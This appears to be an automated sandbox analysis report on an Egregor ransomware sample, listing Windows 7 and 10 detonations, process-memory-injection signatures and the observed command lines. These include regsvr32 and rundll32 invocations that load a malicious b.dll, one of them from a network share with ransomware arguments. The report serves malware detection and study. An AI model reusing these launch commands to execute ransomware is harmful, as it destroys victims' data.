Analysis Overview
SHA256
19ffefca0054a6fccff7721f57e711e881a3ecfde650a7258cf89b5f3c5e95af
Threat Level: Known bad
The file t2.bat.zip was found to be: Known bad.
Malicious Activity Summary
Egregor Ransomware
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2020-11-04 18:16
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2020-11-04 18:16
Reported
2020-11-04 18:18
Platform
win7v20201028
Max time kernel
3s
Max time network
10s
Command Line
Signatures
Egregor Ransomware
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1204 wrote to memory of 1828 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
Processes
C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll
C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\b.dll
Network
Files
memory/1828-0-0x0000000000000000-mapping.dmp
memory/1828-1-0x00000000001E0000-0x000000000021F000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2020-11-04 18:16
Reported
2020-11-04 18:18
Platform
win10v20201028
Max time kernel
12s
Max time network
110s
Command Line
Signatures
Egregor Ransomware
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 500 wrote to memory of 1216 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 500 wrote to memory of 1216 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 500 wrote to memory of 1216 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
Processes
C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll
C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\b.dll
Network
Files
memory/1216-0-0x0000000000000000-mapping.dmp
memory/1216-1-0x0000000000870000-0x00000000008AF000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2020-11-04 18:16
Reported
2020-11-04 18:18
Platform
win7v20201028
Max time kernel
3s
Max time network
8s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1852 wrote to memory of 1192 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
| PID 1852 wrote to memory of 1192 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
| PID 1852 wrote to memory of 1192 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\spr.bat"
C:\Windows\system32\rundll32.exe
rundll32.exe "\\SRV01QW\sp\b.dll",DllRegisterServer --append="carraro" --multiproc
Network
Files
memory/1192-0-0x0000000000000000-mapping.dmp
Analysis: behavioral4
Detonation Overview
Submitted
2020-11-04 18:16
Reported
2020-11-04 18:18
Platform
win10v20201028
Max time kernel
10s
Max time network
116s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 984 wrote to memory of 640 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
| PID 984 wrote to memory of 640 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\spr.bat"
C:\Windows\system32\rundll32.exe
rundll32.exe "\\SRV01QW\sp\b.dll",DllRegisterServer --append="carraro" --multiproc
Network
Files
memory/640-0-0x0000000000000000-mapping.dmp